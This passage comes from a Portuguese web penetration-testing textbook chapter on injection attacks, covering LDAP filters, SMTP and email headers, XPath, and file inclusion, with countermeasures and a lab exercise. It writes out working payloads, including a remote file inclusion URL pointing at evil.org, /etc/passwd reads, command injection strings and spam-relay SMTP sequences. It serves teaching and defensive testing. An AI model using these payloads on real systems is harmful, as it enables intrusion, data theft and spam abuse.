sentar a estrutura organizacional de uma entidade, ou, alternativamente, a estrutura de nomes de domnio da internet, conforme ilustrado na Figura 7.10(a) e Figura 7.10(b), respectivamente. Cada entrada de um diretrio referenciada de maneira nica, por meio do Distinguished Name (DN), que composto pela concatenao dos nomes de todos os ns pertencentes ao caminho entre ela prpria e a raiz (Zeilenga, 2006a). Por exemplo, a entrada uid=Fulano, representada na Figura 143(b), possui como DN o valor
Teste de Invaso de Aplicaes Web
324
raiz
raiz
c = BR
dc = BR
st = So Paulo
dc = RNP
o = RNP
ou = Group
ou = People
ou = CAIS
ou = ESR
uid = Fulano
Figura 7.10 Estruturas de diretrios: (a) Modelo tradicional. (b) Modelo baseado em DNS.
valores no validados, fornecidos por usurios. Para compreender melhor o ataque desta seo, fundamental que o leitor esteja familiarizado com a sintaxe de tais filtros, pois neles que ocorre a injeo. Como ponto de partida, observe-se que todo filtro delimitado por parnteses e que os operadores seguem uma notao prefixada. Com isso em mente, possvel construir a seguinte consulta bsica, para se encontrar todos os elementos cujo atributo uid seja igual a esruser:
(uid=esruser)
325
Note-se que a busca feita em toda a rvore, uma vez que um n base no foi definido, como elemento inicial. Alterando um pouco o filtro para uso em um sistema de autenticao de usurios, chega-se ao seguinte filtro, que visa encontrar objetos com uid e senha especficos:
(&(uid=esruser)(senha=pwd))
Considere-se agora uma aplicao que permite localizar todos os funcionrios que moram em uma de vrias cidades especificadas pelo usurio. Neste cenrio, supondo que o conjunto escolhido fosse composto por Campinas, Braslia e Vinhedo, um possvel filtro seria:
(|(cidade=Campinas)(cidade=Braslia)(cidade=Vinhedo))
Um ponto importante que deve ser observado neste ltimo exemplo que o operador | (OR) permite mais que dois operandos, da mesma maneira que o & (AND). Outras construes que podem ser teis no contexto desta seo esto abaixo listadas:
1 (atributo=*) seleciona elemento se o atributo estiver presente. 1 (!(atributo=valor)) seleciona n se o atributo for diferente do valor especificado. 1 (objectClass=*) seleciona todo e qualquer objeto, pois indica que ele pode pertencer a
qualquer classe existente.
O filtro de busca construdo por meio dos seguintes comandos, que concatenam os valores dos parmetros uid e pwd, fornecidos na requisio POST:
326
Relembrando o ataque de injeo de SQL, em cenrio similar, a estratgia consistiria na insero de uma tautologia, como id or 1=1--. Note-se, porm, que no possvel aplicar a mesma ideia, no exemplo acima, primeiro, porque o operador prefixado e no pode ser substitudo, e, segundo, porque no h como comentar o restante da linha, de modo a evitar a criao de um filtro sintaticamente incorreto. Desse modo, injees em filtros baseados em operador & s funcionam se o servidor considerar apenas a parte inicial e correta do filtro submetido, como acontecia, antigamente, com o OpenLDAP (Alonso et al., 2008). Neste caso, um usurio malicioso poderia fornecer um texto qualquer para pwd, e o seguinte valor para uid:
root)(&)
Que resultaria no seguinte filtro:
O qual permitiria que as informaes do usurio root fossem visualizadas, mesmo que no se conhea a senha da conta (vide Figura 7.10).
Uma situao mais plausvel de ser explorada, que no depende de vulnerabilidades no servidor, ocorre quando a aplicao utiliza filtros baseados no operador |. Como exemplo, considere-se uma aplicao escrita em PHP, que permite listar dispositivos pertencentes a classes escolhidas pelo usurio (vide Figura 7.12) e que constri o filtro com o cdigo abaixo:
$filter = (|(l=xpto); if ($ _ REQUEST[imp]) { $filter = $filter. (l= _ REQUEST[imp].) .$ ; } if ($ _ REQUEST[sca]) { $filter = $filter. (l= _ REQUEST[sca].) .$ ; } if ($ _ REQUEST[plo]) { $filter = $filter. (l= _ REQUEST[plo].) .$ ; } $filter = $filter.);
Captulo 7 - Ataques de injeo
327
Para explorar esta aplicao, possvel, por exemplo, interceptar a requisio e alterar o valor de imp de impressora para a forma codificada de:
impressora)(objectClass=*
Resultando no seguinte filtro e, consequentemente, na listagem de todos os objetos do diretrio, conforme ilustrado na Figura 7.13:
(|(l=xpto)(l=impressora)(objectClass=*))
O teste para verificar se uma aplicao vulnervel injeo em filtros LDAP consiste nos passos descritos a seguir:
1.
resultados aumenta.
1.5.Para o operador &, submeta um valor como valor)(| e veja se a resposta usual
Ataques de injeo em filtros LDAP s cegas utilizam a mesma estratgia que a contraparte baseada em SQL, que consiste na submisso de perguntas booleanas aplicao, para extrao de um bit de informao por vez. Para que eles funcionem corretamente, necessrio ser capaz de discernir se uma expresso injetada avaliada como verdadeira ou falsa, o que se pode conseguir por meio da identificao de diferenas nas respostas do servidor. Por exemplo, considerando um filtro baseado em &, se a tela exibida em funo de uma
requisio como a ilustrada na Figura 7.14, sabe-se que todos os operandos so verdadeiros, para o objeto selecionado. Por outro lado, se o resultado obtido o representado na Figura 7.15, conclui-se que nenhum objeto presente no diretrio satisfaz todas as subexpresses do filtro.
Supondo que a resposta positiva resulte da submisso do id root e da senha correspondente, a injeo de uma pergunta possvel, alterando-se o valor do identificador da seguinte maneira:
root)(pergunta booleana
Por exemplo, para verificar se o objeto pertence classe user, o valor submetido deve ser:
root)(objectClass=user
Resultando no filtro:
(&(uid=root)(objectClass=user)(userPassword=senha))
Neste caso, as informaes da conta somente continuaro a ser exibidas, se a expresso (objectClass=user) for verdadeira. Adotando o mesmo raciocnio, para verificar se o objeto possui determinado atributo, pode-se utilizar a entrada:
root)(attr=*
Se ele existir, o prximo passo consiste em descobrir o valor definido para o objeto selecionado, o que pode ser realizado por meio do caractere curinga *, desde que a propriedade Substring Rule do atributo tenha sido configurada, para permitir comparao parcial. cobrir, todos os caracteres possveis, at se encontrar o correto. Em seguida, a primeira posio fixada com o valor certo e o processo, repetido para a segunda posio. O mtodo continua at que o valor inteiro seja recuperado. Supondo que o atributo attr, no exemplo acima, somente aceite letras e tenha o valor tela, as seguintes requisies devem ser enviadas aplicao:
Captulo 7 - Ataques de injeo
A ideia consiste em percorrer, iniciando-se na primeira posio do valor que se quer des-
329
Primeira posio
root)(attr=tela*
Quinta posio
importante observar que no h como especificar, em um filtro LDAP, o comprimento de um atributo, e, assim, no cenrio abordado, o processo de descoberta deve ser realizado at a quinta posio, para se concluir que o valor possui apenas quatro caracteres.
Claramente, o processo demorado e precisa ser automatizado, para se extrair o contedo de um diretrio inteiro. Recorrendo, novamente, contraparte em SQL, pode-se pensar em aplicar as tcnicas de busca binria ou bit-a-bit, de modo a melhorar a eficincia do ataque. Entretanto, enquanto a ltima no possvel, a primeira depende das propriedades
Teste de Invaso de Aplicaes Web
330
Em um cenrio possvel, comandos SMTP injetados em um campo so inseridos em uma conversao SMTP, o que permite que duas mensagens de correio eletrnico sejam enviadas.
Em qualquer dos casos, porm, vulnerabilidades implicam poder enviar mensagens arbitrrias,
Spam Consiste no envio de mensagens no solicitadas de correio eletrnico, com objetivos to diversos como realizar propaganda e disseminar malware, por exemplo.
sem autenticar-se, e, por isso, so usadas para a disseminao de spam (Stuttard e Pinto, 2007). Antes de descrever os ataques, importante realizar uma breve reviso do protocolo SMTP, para se conhecer os comandos necessrios para o envio de mensagens. Uma interao tpica, realizada entre cliente e servidor, est ilustrada na Figura 7.16 e explicada a seguir. O comando HELO permite que o cliente se identifique para o servidor, informando o nome de domnio que possui. Aps receber a resposta, o envelope definido pelos comandos MAIL e RCPT, com os quais so especificados remetente e destinatrio, respectivamente. Os cabealhos e o corpo da mensagem so enviados, aps a execuo do comando DATA, e um ponto (.) sozinho em uma linha usado para indicar o fim da mensagem. Finalmente, a submisso ao destinatrio ocorre quando o cliente efetua um QUIT.
~$ telnet alt1.aspmx.l.exemplo.com 25 Trying 100.100.100.27... Connected to alt1.aspmx.l.exemplo.com. Escape character is ^]. 220 mx.exemplo.com ESMTP fq5si3132623vcb.146 HELO e100.esr.rnp.br 250 mx.exemplo.com at your service MAIL FROM:<esruser@esr.rnp.br> 250 2.1.0 OK fq5si3132623vcb.146 RCPT TO:<esruser@gmail.com> 250 2.1.5 OK fq5si3132623vcb.146 DATA 354 Go ahead fq5si3132623vcb.146
From:esruser@esr.rnp.br Subject:Teste
QUIT 221 2.0.0 closing connection fq5si3132623vcb.146 Connection closed by foreign host.
331
Teste de SMTP
Para entender a primeira vulnerabilidade, considere-se uma aplicao que aceita do usurio o endereo de correio eletrnico, o assunto e o corpo da mensagem, e que os insere diretamente em uma conversao SMTP com o servidor de e-mails, como parte dos comandos apropriados. O que aconteceria se um usurio malicioso finalizasse o texto com uma quebra de linha e um ponto, fornecendo, em seguida, os comandos MAIL, RCPT e DATA, conforme ilustrado na Figura 7.17?
Mensagem original. . MAIL FROM:<evil@evil.org> RCPT TO:<outro.usuario@localhost> DATA From:evil@evil.org To:outro.usuario@localhost Subject:Mensagem falsa
Supondo que o cdigo responsvel por gerar os comandos SMTP da interao entre a aplicao e o servidor de e-mail fosse o representado na Figura 7.18, o resultado obtido com a substituio de $message pelo valor exibido na Figura 7.17, bem como das demais variveis pelos argumentos associados, seria o ilustrado na Figura 7.19, excetuando-se a numerao. Observe-se que, com a injeo do contedo identificado pelas linhas 09 a 17, formaram-se duas conversaes SMTP distintas, compostas pelas linhas 02 a 09 e 10 a 18, o que faz com que duas mensagens de correio eletrnico sejam enviadas. Neste cenrio, se o servidor estiver mal configurado, de modo a permitir o encaminhamento de mensagens de usurios externos para outros domnios, qualquer destinatrio da internet poder ser especificado, facilitando a vida dos spammers (pessoas que enviam spams).
$cmd = $cmd.DATA.PHP_EOL; $cmd = $cmd.From:.$from.PHP_EOL; $cmd = $cmd.Subject: .$subject.PHP_EOL.PHP_EOL; $cmd = $cmd.$message.PHP_EOL; $cmd = $cmd...PHP_EOL; $cmd = $cmd.QUIT.PHP_EOL;
Figura 7.18 Trecho de cdigo que armazena em $cmd os comandos SMTP a serem enviados ao servidor de e-mails.
332
01 HELO localhost 02 MAIL FROM:<morpheus@esr.rnp.br> 03 RCPT TO:<supervisor@localhost> 04 DATA 05 From:morpheus@esr.rnp.br 06 Subject: Teste 07 08 Mensagem original. 09 . 10 MAIL FROM:<evil@evil.org> 11 RCPT TO:<outro.usuario@localhost> 12 DATA 13 From:evil@evil.org 14 To:outro.usuario@localhost 15 Subject:Mensagem falsa 16
Figura 7.19 Comandos SMTP gerados a partir das entradas fornecidas pelo usurio.
Outro erro comum, encontrado nesse tipo de funcionalidade, consiste em armazenar o endereo de destinatrio em um campo escondido do formulrio, e utilizar aquele dado diretamente na composio da mensagem. Como se sabe, informaes em poder de usurios no so confiveis, pois podem ser
manipuladas da maneira que quiserem. Assim, um ataque possvel nesse cenrio resume-se em interceptar a requisio aplicao e incluir uma lista de destinatrios, separados por vrgula, no lugar do endereo original. A ltima vulnerabilidade abordada nesta seo baseia-se na utilizao do parmetro opcional additional_headers da funo mail() de PHP, usado para adicionar os cabealhos linha (\0d e \0a). O uso normal compreende a definio do remetente, conforme endereo de correio eletrnico preenchido pelo usurio no formulrio da aplicao. Por fim, se a aplicao permitir que o usurio fornea caracteres de final de linha, um usurio capaz de injetar os cabealhos Cc e Bcc, expandindo a lista de destinatrios da mensagem, em aplicaes PHP que usam a funo mail(). Para exemplificar, considere-se o seguinte trecho de cdigo, observando que o ltimo parmetro da funo mail() corresponde ao additional_headers:
Captulo 7 - Ataques de injeo
From, Cc e Bcc mensagem, que devem ser separados por caracteres de finalizao de
333
$from=From: .$_POST[from]; $realto=$_POST[realto]; $subject=$_POST[subject]; $message=$_POST[message]; $ret = mail($realto, $subject, $message, $from);
Fornecendo um valor similar ao abaixo, para o parmetro from da requisio, consegue-se realizar o ataque e injetar o cabealho desejado:
evil%40evil.org%0d%0aCc%3aoutro%40localhost
Note-se que a entrada utiliza codificao URL, o que implica que, em requisies POST, ela deve ser fornecida por meio de um proxy de interceptao, para que no seja duplamente codificada. O processo mais simples, no caso de requisies GET, pois o valor final do parmetro pode ser definido diretamente na barra de endereos do navegador web. Para verificar se uma dada aplicao vulnervel injeo de comandos SMTP e de cabealhos de e-mail, o seguinte roteiro pode ser executado:
1.
Liste todos os formulrios, identificados na fase de mapeamento, que parecem interagir com o servio de correio eletrnico.
2.1.1.
2.1.2. Em caso positivo, altere o valor do campo para um e-mail externo que controla, e veja se recebe a mensagem enviada, o que confirma a vulnerabilidade. 2.1.3 Se o teste anterior falhar, repita a verificao com um endereo local, para o qual tenha acesso.
2.2.Injeo de cabealhos de e-mail:
2.2.1
Habilite um proxy de interceptao e envie, em seguida, nova mensagem, por meio da aplicao.
2.2.2
Adicione %0d%0aCc%3aSeuEmail%40SeuDominio ao final do parmetro que indica o remetente, e veja se recebe a mensagem na caixa de entrada da conta especificada. Se isto acontecer, a aplicao est vulnervel injeo de cabealhos de e-mail.
2.3.1
Insira no corpo da mensagem uma linha contendo apenas um ponto (.), seguida por outras quaisquer, e submeta o formulrio.
2.3.2
Acesse a caixa de correio do destinatrio e veja se a mensagem chegou truncada, o que indica o processamento do ponto como finalizador do comando DATA.
2.3.3 Caso o passo anterior no seja bem-sucedido, tente injetar uma conversao inteira contendo os comandos MAIL, RCPT e DATA.
334
Injeo de XPath
XML Extensible Markup Language uma linguagem definida pelo W3C que estabelece regras e formatos para a codificao de documentos.
XPath uma linguagem utilizada para acessar elementos de um documento XML, a partir de um modelo de dados representado em formato de rvore. Uma consulta XPath devolve um conjunto de ns do modelo ou valores atmicos, como inteiros ou cadeias de caracteres, por exemplo.
Existem duas verses, 1.0 e 2.0, especificadas, respectivamente, em Clark e DeRose, 1999 e Berglund et al., 2010, sendo que a ltima consiste em uma extenso da primeira e procura fornecer compatibilidade s expresses legadas. O conjunto de funes adicionais fornecidas pela verso 2.0 facilita a explorao de aplicaes vulnerveis injeo de XPath, porm, ela no suportada, atualmente, por todos os arcabouos de desenvolvimento. Para executar ataques de injeo de XPath, necessrio ter, ao menos, um conhecimento bsico da linguagem, que ser apresentado, nesta sesso, por meio de diversos exemplos elaborados com base no documento ilustrado na Figura 7.20. O XML em questo corresponde a uma pequena base de usurios de uma aplicao e pode ser representado graficamente como na Figura 7.21.
<?xml version=1.0?> <users> <user id =100> <account>esruser</account> <password>esruser</password> <name>Fulano de Tal</name> <address>R: Um, 111</address> <city>Campinas</city> <phone>11 1111-1111</phone> </user> <user id =101> <account>root</account> <password>toor</password> <name>Wolfgang Mozart</name> <address>R: Dois, 222</address> <city>Indaiatuba</city> <phone>22 2222-2222</phone> </user> <user id =102>
Figura 7.20 Documento XML que descreve contas de usurio.
Captulo 7 - Ataques de injeo
<account>guest</account> <password>guest</password>
335
<name>Albert Einstein</name> <address>R: Tres, 333</address> <city>Campinas</city> <phone>33 3333-3333</phone> </user> <user id =103> <account>dba</account> <password>dba</password> <name>Isaac Newton</name> <address>R: Quatro, 444</address> <city>Sao Paulo</city> <phone>44 4444-4444</phone> </user> <user id =104> <account>bobby</account> <password>bobby</password> <name>Bobby Fischer</name> <address>R: Cinco, 555</address> <city>Sao Paulo</city> <phone>55 5555-5555</phone> </user> </users>
Figura 7.21 Representao em rvore do documento da Figura 7.20.
raiz
usurios
Teste de Invaso de Aplicaes Web
usurio id = 100
usurio id = 101
conta
senha
telefone
conta senha
nome
endereo
cidade
telefone
toor
336
Uma das principais produes permitidas pela gramtica da linguagem XPath o location path, doravante denominado, simplesmente, de caminho. Este tipo de expresso, do qual se origina o nome XPath, permite referenciar elementos na rvore que representa o documento XML. Por exemplo, o caminho /users/user/name seleciona todos os ns name obtidos percorrendo-se, a partir da raiz, cada componente da expresso, da esquerda para a direita. Ressalte-se que, enquanto o primeiro / denota o n raiz e indica um caminho absoluto, as demais instncias deste caractere iniciam um novo passo no percurso. possvel, tambm, utilizar caminhos relativos, que iniciam em um determinado ponto da rvore, definido por um contexto, ou em qualquer localizao da estrutura. Para isso, devem ser empregadas barras duplas (//), antes de um passo, como em //name, que faz com que os ns name sob user sejam selecionados, bem como quaisquer outros ns, em outras posies, que tenham o mesmo nome. importante destacar que se pode usar // mais de uma vez em um mesmo caminho, para expressar mltiplos percursos relativos. Por exemplo, o caminho //users//name seleciona todos os ns name que sejam descendentes de elementos users, localizados em qualquer ponto da rvore. Porm, se em vez disso, o caminho fornecido fosse /users/name, considerando que ele no existe, um conjunto vazio de elementos resultaria da consulta. Os cenrios abordados at aqui sempre resultam em um conjunto de elementos de mesmo tipo, independente dos valores especficos que possuem. Muitas vezes, porm, o interesse recai em ns particulares desse conjunto, os quais podem ser obtidos por meio do uso de predicados, que devem ser definidos entre colchetes, aps cada passo aplicvel do caminho. Para ilustrar, considere-se a seguinte expresso:
//user[account=esruser]/name
Ela seleciona todos os ns name sob elementos user, para os quais account seja igual a esruser. Note-se que, neste caso, account e name so irmos na hierarquia, pois ambos tm como n pai o elemento user. Isto extremamente importante, pois a expresso dentro de um predicado somente pode referenciar elementos que estejam acessveis dentro do contexto do passo. Assim, //user/name[account=esruser] no encontra nada, porque no h n account sob name. Por outro lado, //user/name[../account=esruser] e // user/name[parent::*/account=esruser] so vlidos, pois tanto .. como parent::* fazem com que a comparao de account com esruser ocorra no nvel hierrquico superior. A linguagem XPath aceita os operadores lgicos, aritmticos e relacionais tradicionais, permitindo que consultas similares s seguintes sejam construdas:
337
Alm desses operadores, algumas das funes existentes na linguagem so fundamentais para a execuo dos ataques:
1 count() retorna o nmero de ns do conjunto passado como argumento. 1 name() devolve o nome do primeiro n, considerando-se a ordem do documento, do
conjunto passado como argumento.
1 string-length() retorna o comprimento de uma cadeia de caracteres. 1 substring() retorna um pedao contnuo de uma cadeia de caracteres.
Agora que uma breve introduo linguagem XPath foi apresentada, possvel prosseguir ao ataque de injeo que a envolve. O problema raiz que leva vulnerabilidade o mesmo que o das demais injees, isto , emprego de informaes no validadas de usurios, na construo dinmica de consultas, por meio de concatenao. Por exemplo, considere uma aplicao que exibe informaes de usurios contidas em um documento XML, desde que sejam fornecidas credenciais vlidas de acesso. Em tal cenrio, seja a consulta XPath construda por meio do seguinte trecho de cdigo:
338
O seguinte roteiro de teste pode ser executado para verificar a presena de campos vulnerveis injeo de XPath em uma aplicao web. Para cada item de entrada identificado na fase de mapeamento:
1.
Fornea os smbolos [, ], ( e ) e *, um por vez, e veja se um erro induzido na aplicao, o que indicaria um campo potencialmente vulnervel.
or true() or
3. Se nenhum erro ocorrer, significa que a aplicao interpretou a expresso fornecida e
Considere-se a aplicao ilustrada na Figura 7.22(a), que conta quantos usurios, presentes
Figura 7.22 Aplicao que faz consulta XPath: (a) Interface do sistema. (b) Resultado da pesquisa.
no documento XML da Figura 7.22 moram na cidade especificada, e que produz o resultado exibido na Figura 7.22(b). O sistema pode utilizar a funo count() de XPath, para descobrir de maneira direta o nmero de ns que atendem ao critrio de busca, ou recuperar esse conjunto e realizar a contagem de elementos, por meio de cdigo da lgica de negcio. Em qualquer dos dois casos, razovel supor a existncia de uma expresso que compara o nome de cidade de cada n, com a entrada fornecida pelo usurio.
(a)
(b)
Captulo 7 - Ataques de injeo
Por se tratar de um texto, o valor digitado deve ser delimitado por aspas simples ou duplas, na construo da consulta XPath. Assim, para testar a existncia da vulnerabilidade, pode-se fazer a pesquisa abaixo, e verificar se o total de usurios encontrados alterado:
Neste caso, se a pergunta for avaliada como verdadeira, a contagem permanece inalterada; seno, o total de usurios contabilizado como zero. A reconstruo do documento XML completo, a partir das perguntas injetadas, pode ser realizada, por meio do algoritmo ilustrado na Figura 7.23 (Forbes e Siddhart, 2012). Observe-se que um dos pilares do mtodo consiste na recuperao de nomes e valores.
1. Obtenha o nome do n corrente. 2. Obtenha o nmero de atributos do n corrente. 3. Para cada atributo: 3.1. Obtenha o nome. 3.2. Obtenha o valor. 4. Obtenha o nmero de comentrios. 5. Para cada comentrio: 5.1. Obtenha o valor do comentrio. 6. Obtenha o nmero de ns-filhos. 7. Para cada n-filho: 7.1. Execute o Passo #1. 8. Obtenha o contedo textual do n corrente.
Para exemplificar esta tcnica bsica e fundamental, vejamos como obter o nome do n principal do documento. A tarefa inicial consiste em descobrir o tamanho do nome do elemento, por meio das funes string-length() e name():
Figura 7.23 Algoritmo para reconstruo do documento XML por meio de injeo de XPath s cegas.
Campinas and string-length(name(/*))=1 and a=a Campinas and string-length(name(/*))=2 and a=a
...
Campinas and substring(name(/*),1,1)=a and a=a Campinas and substring(name(/*),1,1)=b and a=a
Teste de Invaso de Aplicaes Web
... Campinas and substring(name(/*),1,1)=u and a=a O processo deve ser repetido para as demais letras do nome, resultando, no exemplo dado, no valor users. Depois disso, procede-se descoberta do nmero de atributos do n users (Passo #2), que zero:
340
Campinas and count(/users/child::*)=1 and a=a ... Campinas and count(/users/child::*)=5 and a=a
Sempre que um n tiver mais de um filho, a funo position() deve ser empregada para referenciar o descendente correto. Por exemplo, para se descobrir o tamanho do nome do primeiro n-filho, as seguintes consultas devem ser efetuadas:
Campinas and string-length(name(/users/child::*[position()=1]))=1 and a=a ... Campinas and string-length(name(/users/child::*[position()=1]))=4 and a=a
Por fim, observe-se como o valor textual de um elemento pode ser recuperado, uma vez descobertos todos os nomes dos passos do caminho:
Tamanho do texto
Campinas and string-length(/users/user[position()=1]/name)=1 and a=a ... Campinas and string-length(/users/user[position()=1]/name)=13 and a=a
A cobertura deste e outros avanos contemplados pela nova especificao, entretanto, esto alm do escopo do presente trabalho.
Incluso de arquivos
Algumas linguagens, como PHP, permitem incluir e avaliar dinamicamente um arquivo como parte do cdigo sendo executado. Essa funcionalidade comumente empregada em sistemas que permitem ao usurio selecionar a lngua a ser utilizada ou o pas em que se encontra, e, a partir da resposta, realizam a adaptao das mensagens, por meio da incluso de arquivos especficos de cada idioma (Stuttard e Pinto, 2007). Se a aplicao, simplesmente, utiliza o valor de um parmetro da requisio como argumento da funo de incluso, um usurio malicioso pode fazer com que arquivos remotos ou locais sejam injetados, durante o processo de gerao da resposta pela aplicao.
Note-se que, em PHP, o comando include utilizado com o propsito mencionado, permitindo incluir arquivos remotos, caso a diretiva allow_url_include esteja definida com o valor On. Para ilustrar o ataque, considere-se a aplicao exibida na Figura 7.24, que realiza uma requisio GET, contendo um parmetro country, quando o usurio clica em Prosseguir. O parmetro pode assumir os valores br e us para Brasil e Estados Unidos, respectivamente, sendo concatenado com a cadeia de caracteres .php, no lado do servidor, e passado para a funo include.
http%3A%2F%2Fwww.evil.org%2Fevil
Neste caso, a seguinte requisio realizada aplicao:
http://filei.esr.rnp.br/select.php?country=http%3A%2F%2Fwww.evil. org%2Fevil&Submit1=Prosseguir
Teste de Invaso de Aplicaes Web
A qual faz com que o arquivo http://www.evil.org/evil.php seja includo, dinamicamente, no corpo de select.php, e executado em seguida. Considere-se uma aplicao ligeiramente diferente, que, em vez do cdigo de pas, passa o nome de arquivo a ser includo como parmetro. Esta pequena modificao no sistema introduz uma nova vulnerabilidade, que permite visualizar quaisquer arquivos que sejam acessveis conta de sistema operacional usada pelo servidor web. Para alcanar este objetivo, pode-se especificar o nome do arquivo local desejado, conforme o exemplo abaixo, o qual resulta na exibio de /etc/passwd:
342
http://filei.esr.rnp.br/select2.php?country=%2Fetc%2Fpasswd&Submit1= Prosseguir
Para verificar se aplicaes so vulnerveis a estes dois ataques, os testes a seguir podem ser realizados. Para cada item de entrada identificado na fase de mapeamento que tenha grande chance de ser usado em um comando de incluso de arquivos:
1.
que se sabe estar no servidor. Verifique se a resposta apresenta algum indicativo de que o arquivo foi includo e processado, o que indica a presena da vulnerabilidade.
1.2.Seno, intercepte a requisio e o substitua pelo nome, sem extenso, de outro
arquivo de mesmo tipo que se sabe estar no servidor. Verifique se a resposta apresenta algum indicativo de que o arquivo foi includo e processado, o que indica a presena da vulnerabilidade.
1.3.Repita o Passo 1.1, porm usando no lugar do nome de arquivo uma URL para um
Contramedidas
As principais medidas que podem ser adotadas, para evitar a ocorrncia dos mais diversos ataques de injeo esto listadas a seguir:
1 Gerais 2 Considere que toda informao fornecida por usurios maliciosa e, assim, antes
de process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para o campo ou parmetro. Complementarmente, restrinja o tamanho do campo ao mximo permitido.
1 Injeo de comandos de sistema operacional 2 Se for necessrio solicitar servios ao sistema operacional, use funes da linguagem
na qual a aplicao desenvolvida, que sejam especficas para o propsito desejado.
1 Injeo em trilhas de auditoria 2 Para cada registro individual de trilha de auditoria, calcule e armazene a assinatura
digital ou um cdigo de autenticao de mensagem.
1 Poluio de parmetros HTTP 2 Ao obter o valor de um parmetro de requisio HTTP, verifique se no foram enviadas
mltiplas instncias do mesmo elemento e se ele foi encaminhado pelo canal correto.
343
1 Injeo em filtros LDAP 2 Utilize sempre verses atualizadas do servidor LDAP. 2 Estabelea um mximo de elementos que podem ser recuperados por meio de
uma consulta.
1 Injeo de comandos SMTP e de cabealhos de e-mail 2 Utilize as funcionalidades providas pelo arcabouo de desenvolvimento, para o
envio de mensagens de correio eletrnico, em vez de estabelecer uma conversao SMTP direta com o servidor.
1 Injeo de XPath 2 Se o arcabouo de desenvolvimento possuir uma funo de consulta parametrizada, sempre a utilize.
2 Quando XPath 2.0 for utilizado, restrinja o acesso funo doc(). 2 Nunca deixe que o cdigo da aplicao acesse outros documentos XML, que no
aqueles explicitamente permitidos.
1 Incluso de arquivos 2 Nunca passe dados fornecidos pelo usurio para funes de incluso dinmica
de arquivos.
344
filter filtercomp and or not filterlist item simple filtertype equal approx
= LPAREN filtercomp RPAREN = and / or / not / item = AMPERSAND filterlist = VERTBAR filterlist = EXCLAMATION filter = 1*filter = simple / present / substring / extensible = attr filtertype assertionvalue = equal / approx / greaterorequal / lessorequal = EQUALS = TILDE EQUALS
greaterorequal = RANGLE EQUALS lessorequal extensible = LANGLE EQUALS = ( attr [dnattrs] [matchingrule] COLON EQUALS assertionvalue ) / ( [dnattrs] matchingrule COLON EQUALS assertionvalue ) present substring initial any final attr = attr EQUALS ASTERISK = attr EQUALS [initial] any [final] = assertionvalue = ASTERISK *(assertionvalue ASTERISK) = assertionvalue
Captulo 7 - Ataques de injeo
dnattrs matchingrule
assertionvalue = valueencoding
345
; The <valueencoding> rule is used to encode an <AssertionValue> ; from Section 4.1.6 of [RFC4511]. valueencoding normal escaped DIGIT LDIGIT HEX f UTF1SUBSET = %x01-27 / %x2B-5B / %x5D-7F ; UTF1SUBSET excludes 0x00 (NUL), LPAREN, ; RPAREN, ASTERISK, and ESC. EXCLAMATION AMPERSAND LPAREN RPAREN ASTERISK COLON LANGLE EQUALS RANGLE ESC VERTBAR TILDE UTFMB UTF0
Teste de Invaso de Aplicaes Web
= 0*(normal / escaped) = UTF1SUBSET / UTFMB = ESC HEX HEX = %x30 / LDIGIT = %x31-39 ; 0-9 ; 1-9
= %x21 ; exclamation mark (!) = %x26 ; ampersand (or AND symbol) (&) = %x28 ; left paren (() = %x29 ; right paren ()) = %x2A ; asterisk (*) = %x3A ; colon (:) = %x3C ; left angle bracket (<) = %x3D ; equals sign (=) = %x3E ; right angle bracket (>) = %x5C ; backslash (\) = %x7C ; vertical bar (or pipe) (|) = %x7E ; tilde (~) = UTF2 / UTF3 / UTF4 = %x80-BF = %x00-7F = %xC2-DF UTF0 = %xE0 %xA0-BF UTF0 / %xE1-EC 2(UTF0) / %xED %x80-9F UTF0 / %xEE-EF 2(UTF0)
UTF4
346
LocationPath
AbsoluteLocationPath
RelativeLocationPath
Step
AxisSpecifier
AxisName
::= ancestor | ancestor-or-self | attribute | child | descendant | descendant-or-self | following | following-sibling | namespace | parent | preceding | preceding-sibling | self
Captulo 7 - Ataques de injeo
NodeTest
AbbreviatedAbsoluteLocationPath ::=
347
// RelativeLocationPath AbbreviatedRelativeLocationPath ::= RelativeLocationPath // Step AbbreviatedStep ::= . | .. AbbreviatedAxisSpecifier::= @? Expr PrimaryExpr ::= OrExpr ::= VariableReference | ( Expr ) | Literal | Number | FunctionCall FunctionCall ::= FunctionName ( ( Argument ( , Argument )* )? ) Argument UnionExpr ::= Expr ::= PathExpr | UnionExpr | PathExpr PathExpr ::= LocationPath | FilterExpr | FilterExpr / RelativeLocationPath | FilterExpr // RelativeLocationPath FilterExpr ::= PrimaryExpr | FilterExpr Predicate OrExpr ::= AndExpr | OrExpr or AndExpr AndExpr
Teste de Invaso de Aplicaes Web
EqualityExpr
RelationalExpr
348
| RelationalExpr <= AdditiveExpr | RelationalExpr >= AdditiveExpr AdditiveExpr ::= MultiplicativeExpr | AdditiveExpr + MultiplicativeExpr | AdditiveExpr - MultiplicativeExpr MultiplicativeExpr ::= UnaryExpr | MultiplicativeExpr MultiplyOperator UnaryExpr | MultiplicativeExpr div UnaryExpr | MultiplicativeExpr mod UnaryExpr UnaryExpr ::= UnionExpr | - UnaryExpr ExprToken ::= ( | ) | [ | ] | . | .. | @ | , | :: | NameTest | NodeType | Operator | FunctionName | AxisName | Literal | Number | VariableReference Literal ::= [^]* | [^]* Number ::= Digits (. Digits?)? | . Digits Digits Operator ::= [0-9]+ ::= OperatorName | MultiplyOperator | / | // | | | + | - | = | != | < | <= | > | >= OperatorName ::= and | or | mod | div
Captulo 7 - Ataques de injeo
349
NodeType
ExprWhitespace
::= S
350
Roteiro de Atividades 7
Atividade 1 Injeo de comandos de sistema operacional
Esta atividade tem por objetivo ilustrar as diversas tcnicas que podem ser usadas para injeo de comandos de sistema operacional. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e execute o roteiro na primeira delas. O propsito desta atividade introduzir os conceitos de ataques de injeo de comandos de sistema operacional.
1.
2. Acesse http://oscmdi.esr.rnp.br/. 3. Digite www.esr.rnp.br no campo Nome de domnio e clique em Resolver nome. 4. Pressione Alt + [Seta para esquerda], para retornar pgina anterior. 5. Digite www.esr.rnp.br; no campo Nome de domnio, clique em Resolver nome e veja se o
Fornea o seguinte texto para o campo Nome de domnio e clique em Resolver nome:
www.esr.rnp.br;cat /etc/passwd
8. A injeo de comando de sistema operacional funcionou?
Caracteres especiais
O objetivo desta atividade testar os diversos caracteres especiais que permitem submisso de mltiplos comandos ao sistema operacional.
1.
www.esr.rnp.br | ls -l /
2. Como a sada do comando ls foi concatenada original?
Captulo 7 - Roteiro de Atividades
